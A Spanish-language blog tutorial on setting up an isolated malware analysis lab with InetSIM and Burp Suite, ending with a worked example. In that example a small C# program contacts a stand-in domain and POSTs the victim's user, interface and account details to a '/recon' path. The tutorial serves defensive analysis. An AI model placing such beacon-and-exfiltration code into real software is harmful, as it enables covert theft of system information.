My Profile Photo

[L]ord [R]NA


Father, son and husband, Red Teamer, Developer, Chess Player, Bitter Truths Distiller, Ex [SHNI/H-Sec] Staff Member, Amateur Astronomer, RedTeamRD Staff/Co-Founder


Disclaimer [ES]

Disclaimer [EN]


Montando un Laboratorio de Analisis de Malware

Si la procrastinación no me vence esta será una entrada de varias sobre análisis de malware. Al ser esta la primera entrada, arrancaremos por lo primordial. Un laboratorio para análisis de malware, debe en la mayor medida de lo posible, contar con un ambiente aislado y controlado para el mismo, asi como la capacidad de replicar los protocolos mas comunes que puedan ser encontrados en Internet.

El laboratorio será algo simple. Tendremos dos máquinas virtuales, una que servirá para hacer la función de gateway para la máquina virtual que infectaremos y que a su vez servirá para realizar análisis estatico.

Diagrama de Laboratorio de Analisis de Malware

Configuración de Máquinas Virtuales

Windows 10 Victim:

  1. Instalación limpia de Windows 10 (esta la opción de descargar una máquina virtual de Development desde el portal de Microsoft).
  2. Instalar Guest Additions (No es necesario para el funcionamiento).
  3. Cambiar el tipo de red a isolated network y colocar una ip estática con la máquina virtual de Analysis Environment como gateway.
  4. Instalar el certificado de BURP en la máquina virtual a infectar.
  5. Tomar un snapshot (para devolver todo al punto inicial después de un análisis dinámico).

Analysis Environment:

  1. Instalación limpia de Linux (En mi caso seleccione Ubuntu 20.04 LTS).
  2. Instalar open-vm-tools (para el Shared Folder y copy&paste bidireccional).
  3. Colocar dos redes virtuales, una para NAT y otra para la conexión a la red aislada (isolated network).
  4. Configurar una IP estática en la isolated network para servirle de gateway a la máquina virtual que será infectada.
  5. Instalar y Configurar InetSIM + Burp.
  6. Instalar GHidra/IDA para análisis estático (Al no requerir una configuracion especial, quedan fuera de la publicación).
  7. Instalar Volatility para análisis de Memory Dumps.

Preparacion del Laboratorio

Analysis Environment

Para las redes a las cuales la máquina virtual de analisis tendrá acceso agregaremos dos interfaces de red. Una para que llegue a la red aislada, otra para que pueda acceder via NAT a la red desde la cual podremos conectarnos a internet. La red NAT bien puede ser colocada con DHCP, pero para la red que estará aislada, ya que este equipo servirá de gateway, utilizaremos una IP estatica.

El archivo para colocar una ip estática varia dependiendo la version de Linux que se esté usando, para Ubuntu esta en /etc/netplan/01-network-manager-all.yaml, en el colocaremos la interfaz, la dirección y el netmask, en el siguiente formato:

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    ens33:
      dhcp4: no
      addresses: [192.168.225.1/24]
      gateway4: 192.168.225.1
      nameservers:
          addresses: [192.168.225.1]  

InetSIM

Ya con la IP estática, procederemos a instalar InetSIM y Burp. Previamente, había que insertar los repositorios de InetSIM a Debian para conseguir la instalación, pero actualmente ya se encuentra en los repositorios oficiales. Procederemos por lo tanto a instalarlo utilizando APT.

apt update
apt install -y inetsim

Posterior a la instalación, nunca está de más hacer backup de la configuración y la data preconfigurada que viene con InetSIM. La configuración la encontraremos en /etc/inetsim/inetsim.conf y la información preconfigurada la encontraremos en /var/lib/inetsim/.

Varias cosas a tener en cuenta dentro de InetSIM:

  • Por defecto todos los servicios están escuchando solo en loop, esto se debe modificar para su correcto funcionamiento.
  • La dirección de retorno en los DNS Requests, es por defecto 127.0.0.1. Se tiene la opción de colocar correlaciones entre dominios y dirección IP a retornar.
  • El certificado para SSL está firmado solo para inetsim.org, y no genera certificados “on the fly”, de esto pondremos a Burp como encargado.
  • El archivo de configuración está más documentado que el manual de mueble de IKEA, inventen con él (Sobre todo con el real mode y fake mode del protocolo HTTP).

Los cambios básicos recomendados para iniciar Inetsim son los siguientes:

  • Modificar la dirección donde estarán escuchando los servicios, desde el loop a escuchar en la interfaz de la red aislada.

#########################################
# service_bind_address
#
# IP address to bind services to
#
# Syntax: service_bind_address <IP address>
#
# Default: 127.0.0.1
#
service_bind_address	192.168.225.1
  • Cambiar la dirección de DNS que retorna por defecto, a la dirección donde tenemos el InetSIM en ejecución. Como podemos ver más abajo, se pueden asociar direcciones IP a dominios de forma estática (En caso de que se tenga más de un servidor para servicios).
#############################################################
# Service DNS
#############################################################

#########################################
# dns_bind_port
#
# Port number to bind DNS service to
#
# Syntax: dns_bind_port <port number>
#
# Default: 53
#
#dns_bind_port		53


#########################################
# dns_default_ip
#
# Default IP address to return with DNS replies
#
# Syntax: dns_default_ip <IP address>
#
# Default: 127.0.0.1
#
dns_default_ip		192.168.225.1


#########################################
# dns_default_hostname
#
# Default hostname to return with DNS replies
#
# Syntax: dns_default_hostname <hostname>
#
# Default: www
#
#dns_default_hostname		somehost


#########################################
# dns_default_domainname
#
# Default domain name to return with DNS replies
#
# Syntax: dns_default_domainname <domain name>
#
# Default: inetsim.org
#
#dns_default_domainname		some.domain


#########################################
# dns_static
#
# Static mappings for DNS
#
# Syntax: dns_static <fqdn hostname> <IP address>
#
# Default: none
#
#dns_static	www.foo.com	10.10.10.10
#dns_static	ns1.foo.com	10.70.50.30
#dns_static	ftp.bar.net	10.10.20.30


#########################################
# dns_version
#
# DNS version
#
# Syntax: dns_version <version>
#
# Default: "INetSim DNS Server"
#
#dns_version "9.2.4"
  • Ya que InetSIM tiene ciertas “deficiencias” en el manejo de SSL, y en su defecto HTTPS, cambiaremos el puerto que utilizará para el mismo y se lo cederemos a Burp.
#########################################
# https_bind_port
#
# Port number to bind HTTPS service to
#
# Syntax: https_bind_port <port number>
#
# Default: 443
#
https_bind_port		8443

La parte más tediosa de InetSIM (En caso de que el análisis lo requiera), es cambiar todos los nombres de servicios por nombres de servicios utilizados comúnmente. Todos los servicios por defecto, tienen el prefijo “InetSIM”.

Si la configuración fue exitosa y todo sale bien, tendremos una salida muy parecida a esta, dependiendo si se deshabilita algún servicio.

root@MalwareLab:~# inetsim
INetSim 1.2.7 (2017-10-22) by Matthias Eckert & Thomas Hungenberg
Main logfile '/var/log/inetsim/main.log' does not exist. Trying to create it...
Main logfile '/var/log/inetsim/main.log' successfully created.
Sub logfile '/var/log/inetsim/service.log' does not exist. Trying to create it...
Sub logfile '/var/log/inetsim/service.log' successfully created.
Debug logfile '/var/log/inetsim/debug.log' does not exist. Trying to create it...
Debug logfile '/var/log/inetsim/debug.log' successfully created.
Using log directory:      /var/log/inetsim/
Using data directory:     /var/lib/inetsim/
Using report directory:   /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 1967) ===
Session ID:     1967
Listening on:   192.168.225.1
Real Date/Time: 2021-04-18 08:55:28
Fake Date/Time: 2021-04-18 08:55:28 (Delta: 0 seconds)
 Forking services...
  * irc_6667_tcp - started (PID 1981)
  * dns_53_tcp_udp - started (PID 1971)
  * tftp_69_udp - started (PID 1980)
  * ident_113_tcp - started (PID 1984)
  * ntp_123_udp - started (PID 1982)
  * daytime_13_tcp - started (PID 1988)
  * time_37_tcp - started (PID 1986)
  * echo_7_tcp - started (PID 1990)
  * finger_79_tcp - started (PID 1983)
  * chargen_19_udp - started (PID 1997)
  * syslog_514_udp - started (PID 1985)
  * discard_9_tcp - started (PID 1992)
  * time_37_udp - started (PID 1987)
  * echo_7_udp - started (PID 1991)
  * daytime_13_udp - started (PID 1989)
  * ftp_21_tcp - started (PID 1978)
  * quotd_17_udp - started (PID 1995)
  * smtp_25_tcp - started (PID 1974)
  * quotd_17_tcp - started (PID 1994)
  * chargen_19_tcp - started (PID 1996)
  * discard_9_udp - started (PID 1993)
  * dummy_1_tcp - started (PID 1998)
  * dummy_1_udp - started (PID 1999)
  * pop3_110_tcp - started (PID 1976)
  * pop3s_995_tcp - started (PID 1977)
  * http_80_tcp - started (PID 1972)
  * smtps_465_tcp - started (PID 1975)
  * ftps_990_tcp - started (PID 1979)
  * https_8443_tcp - started (PID 1973)
 done.
Simulation running.

BurpSuite

Ya que terminamos con InetSIM, pasamos a hacer una pequeña configuración para Burp, y así convertirlo en un proxy transparente.

Diagrama de Laboratorio de Analisis de Malware

Con esto conseguiremos lo siguiente. Todas las conexiones entrantes al puerto 443, serán manejadas por Burp Suite, generando un certificado firmado para cada host al que se intente acceder, por un CA válido. Por cuestiones de comodidad, también exportamos el certificado y la llave privada en formato DER para importarlo cada vez que usemos Burp Suite y para instalarlo en el equipo que funcionara como víctima.

Windows 10 Victim

Ya que tenemos todo instalado en el equipo de análisis, vamos a configurar una máquina virtual con Windows 10, para que funcione en conjunto con el gateway que configuramos previamente (Analysis Environment).

Partire del punto de que tenemos un Windows 10 recién instalado. Lo primero que haremos será colocar una IP estática que se conecte al gateway que configuramos y así conseguir que InetSIM responda todos los requests en los distintos protocolos.

Configuracion de la interfaz de Red

El siguiente paso es descargar a la máquina virtual que servirá de víctima, el certificado de Burp para agregarlo al sistema. Pueden copiarlo de la forma mas cómoda que gusten. El procedimiento que use fue subir el servidor HTTP integrado en Python3, para desde el navegador descargar el certificado.

Error de Certificado en conexion segura

Para instalar el certificado es tan sencillo como dar doble clic y seguir el proceso de instalación del certificado, recordando colocar el certificado en “Trusted Root Certification Authorities”. para que sea tomado como bueno y válido por el sistema.

Importacion de Certificado para conexion segura

Después de instalar el certificado como un certificado de confianza, ya Burp podrá generar sin ningún problema todos los certificados basados en nombres de dominio sin recibir alertas al respecto.

Sitio web certificado como bueno y valido por Burp Suite.

Posterior a la instalación del certificado vamos a deshabilitar el Antivirus que viene por defecto en los sistemas Windows y procedemos a descargar el SysInternals Suite en conjunto con IDA Free (No tengo licencia de la versión profesional) y configuramos un Debugger para análisis dinámico de forma local, y para finalizar, realizamos un Snapshot de la maquina virtual, porque es más fácil retornar un snapshot que reinstalar cada vez que se vaya analizar algo.

Caso Práctico

Para este nos centraremos en el log que genera INetSIM para las conexiones de un pequeño programa generado en .Net, el cual se encarga de obtener el usuario actual, las interfaces de red con sus respectivas IP y la lista de usuarios existentes en el equipo. La primera petición será con un método GET para validar si la web tiene como respuesta una oración que contenga la palabra “Response”, en caso de que sea afirmativo, enviara a través de un POST la información que recolecto.

Del todo el programa, esta es la parte importante, la cual podremos ver dentro de los logs de INetSIM (/var/log/inetsim/service.log):

try
{
	String code = client.DownloadString("http://grandomwebsite.com/");

	if(code.Contains("Response"))
	{
		var response = client.UploadData("http://grandomwebsite.com/recon", "POST", Encoding.ASCII.GetBytes(beacon.ToJson()));
	}
}

El proceso inicia con una solicitud vía DNS para saber la dirección IP del dominio grandomwebsite.com y poder hacer una petición a index.html, la cual estara registrada en /var/log/inetsim/service.log.

[2021-05-04 21:44:11] [1110] [dns_53_tcp_udp 1164] [192.168.225.2] connect
[2021-05-04 21:44:11] [1110] [dns_53_tcp_udp 1164] [192.168.225.2] recv: Query Type A, Class IN, Name grandomwebsite.com
[2021-05-04 21:44:11] [1110] [dns_53_tcp_udp 1164] [192.168.225.2] send: grandomwebsite.com 3600 IN A 192.168.225.1
[2021-05-04 21:44:11] [1110] [dns_53_tcp_udp 1164] [192.168.225.2] disconnect
[2021-05-04 21:44:11] [1110] [dns_53_tcp_udp 1164] [192.168.225.2] stat: 1 qtype=A qclass=IN qname=grandomwebsite.com

Ya con una IP devuelta por el Servidor DNS manejado por InetSIM y con una IP valida, nuestro pequeño intruso, hace una peticion a http://grandomwebsite.com/ y confirma si la respuesta contiene “Response” en su contenido:

[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] connect
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] recv: GET / HTTP/1.1
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] recv: Host: grandomwebsite.com
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] recv: Connection: Keep-Alive
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] info: Request URL: http://grandomwebsite.com/
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] info: No matching file extension configured. Sending default fake file.
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] send: HTTP/1.1 200 OK
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] send: Date: Wed, 05 May 2021 01:44:14 GMT
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] send: Server: INetSim HTTP Server
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] send: Connection: Close
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] send: Content-Length: 9
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] send: Content-Type: text/html
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] stat: 1 method=GET url=http://grandomwebsite.com/ sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=
[2021-05-04 21:44:14] [2555] [http_80_tcp 3118] [192.168.225.2:50432] disconnect

Como podemos ver en el log, se recibió una conexion, y tenemos al detalle los respectivos headers recibidos, así como el response enviado en el mismo, y el archivo enviado como respuesta (/var/lib/inetsim/http/fakefiles/sample.html). Ya que tiene una validación para solo enviar a través de un POST la información recolectada, si y solo si, la respuesta contiene “Response”; asi que procedemos a editar el archivo para colocar el valor esperado.

Por último, a través de un POST, el pequeño intruso enviara la información recolectada dentro del equipo:

[2021-05-04 21:44:14] [2555] [http_80_tcp 3119] [192.168.225.2:50433] connect
[2021-05-04 21:44:14] [2555] [http_80_tcp 3119] [192.168.225.2:50433] recv: POST /recon HTTP/1.1
[2021-05-04 21:44:14] [2555] [http_80_tcp 3119] [192.168.225.2:50433] recv: Host: grandomwebsite.com
[2021-05-04 21:44:14] [2555] [http_80_tcp 3119] [192.168.225.2:50433] recv: Content-Length: 3700
[2021-05-04 21:44:14] [2555] [http_80_tcp 3119] [192.168.225.2:50433] recv: Expect: 100-continue
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] recv: <(POSTDATA)>
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] info: POST data stored to: /var/lib/inetsim/http/postdata/51eade3123edf9aad671df3902cd5a8fa8a48296c729f3459193f521c4ba1fab
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] info: Request URL: http://grandomwebsite.com/recon
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] info: No matching file extension configured. Sending default fake file.
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] send: HTTP/1.1 200 OK
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] send: Content-Length: 9
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] send: Server: INetSim HTTP Server
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] send: Connection: Close
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] send: Date: Wed, 05 May 2021 01:44:15 GMT
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] send: Content-Type: text/html
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] stat: 1 method=POST url=http://grandomwebsite.com/recon sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/51eade3123edf9aad671df3902cd5a8fa8a48296c729f3459193f521c4ba1fab
[2021-05-04 21:44:15] [2555] [http_80_tcp 3119] [192.168.225.2:50433] disconnect

Como podemos ver para los métodos POST tenemos exactamente lo mismo. Tenemos el detalle de los headers, tanto del request como del response, así como un archivo generado con el contenido que se intentó enviar en el POST:

{
    "CurrentUser":"User",
    "InterfaceList":[
        {
            "Name":"Ethernet0",
            "Description":"Intel(R) 82574L Gigabit Network Connection",
            "Gateways":[
                "192.168.225.1"
            ],
            "IPv4":[
                "192.168.225.2"
            ],
            "NetworkType":"Ethernet",
            "Status":"Up"
        },
        {
            "Name":"Loopback Pseudo-Interface 1",
            "Description":"Software Loopback Interface 1",
            "Gateways":[
                
            ],
            "IPv4":[
                "127.0.0.1"
            ],
            "NetworkType":"Loopback",
            "Status":"Up"
        }
    ],
    "UserList":{
        "Administrator":{
            "Name":"DESKTOP-E2NDFVG\\Administrator",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-21-2604255419-3244665505-3801815035-500",
            "Lockout":false,
            "PasswordRequired":true,
            "Status":"Degraded",
            "Groups":[
                {
                    "Name":"Administrators",
                    "Description":"Administrators have complete and unrestricted access to the computer/domain",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-544"
                }
            ]
        },
        "Malware Lab":{
            "Name":"DESKTOP-E2NDFVG\\Malware Lab",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-21-2604255419-3244665505-3801815035-1001",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"OK",
            "Groups":[
                {
                    "Name":"Administrators",
                    "Description":"Administrators have complete and unrestricted access to the computer/domain",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-544"
                }
            ]
        },
        "Guest":{
            "Name":"DESKTOP-E2NDFVG\\Guest",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-21-2604255419-3244665505-3801815035-501",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"Degraded",
            "Groups":[
                {
                    "Name":"Guests",
                    "Description":"Guests have the same access as members of the Users group by default, except for the Guest account which is further restricted",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-546"
                }
            ]
        },
        "IUSR":{
            "Name":"DESKTOP-E2NDFVG\\IUSR",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-17",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"OK",
            "Groups":[
                {
                    "Name":"IIS_IUSRS",
                    "Description":"Built-in group used by Internet Information Services.",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-568"
                }
            ]
        },
        "DefaultAccount":{
            "Name":"DESKTOP-E2NDFVG\\DefaultAccount",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-21-2604255419-3244665505-3801815035-503",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"Degraded",
            "Groups":[
                {
                    "Name":"System Managed Accounts Group",
                    "Description":"Members of this group are managed by the system.",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-581"
                }
            ]
        },
        "INTERACTIVE":{
            "Name":"DESKTOP-E2NDFVG\\INTERACTIVE",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-4",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"OK",
            "Groups":[
                {
                    "Name":"Users",
                    "Description":"Users are prevented from making accidental or intentional system-wide changes and can run most applications",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-545"
                }
            ]
        },
        "Authenticated Users":{
            "Name":"DESKTOP-E2NDFVG\\Authenticated Users",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-11",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"OK",
            "Groups":[
                {
                    "Name":"Users",
                    "Description":"Users are prevented from making accidental or intentional system-wide changes and can run most applications",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-545"
                }
            ]
        },
        "User":{
            "Name":"DESKTOP-E2NDFVG\\User",
            "LocalAccount":true,
            "Domain":"DESKTOP-E2NDFVG",
            "SID":"S-1-5-21-2604255419-3244665505-3801815035-1002",
            "Lockout":false,
            "PasswordRequired":false,
            "Status":"OK",
            "Groups":[
                {
                    "Name":"Users",
                    "Description":"Users are prevented from making accidental or intentional system-wide changes and can run most applications",
                    "LocalAccount":true,
                    "Domain":"DESKTOP-E2NDFVG",
                    "SID":"S-1-5-32-545"
                }
            ]
        }
    }
}

Y de esta forma ya tendríamos las conexiones de red que realice el malware que estemos analizando.

Para casos en los que se usen protocolos conocidos (como el HTTP del ejemplo) a través de puertos aleatorios, nos tocará con un análisis estático, descubrir cuales son dichos puertos y hacer la respectiva configuración dentro del mismo INetSIM.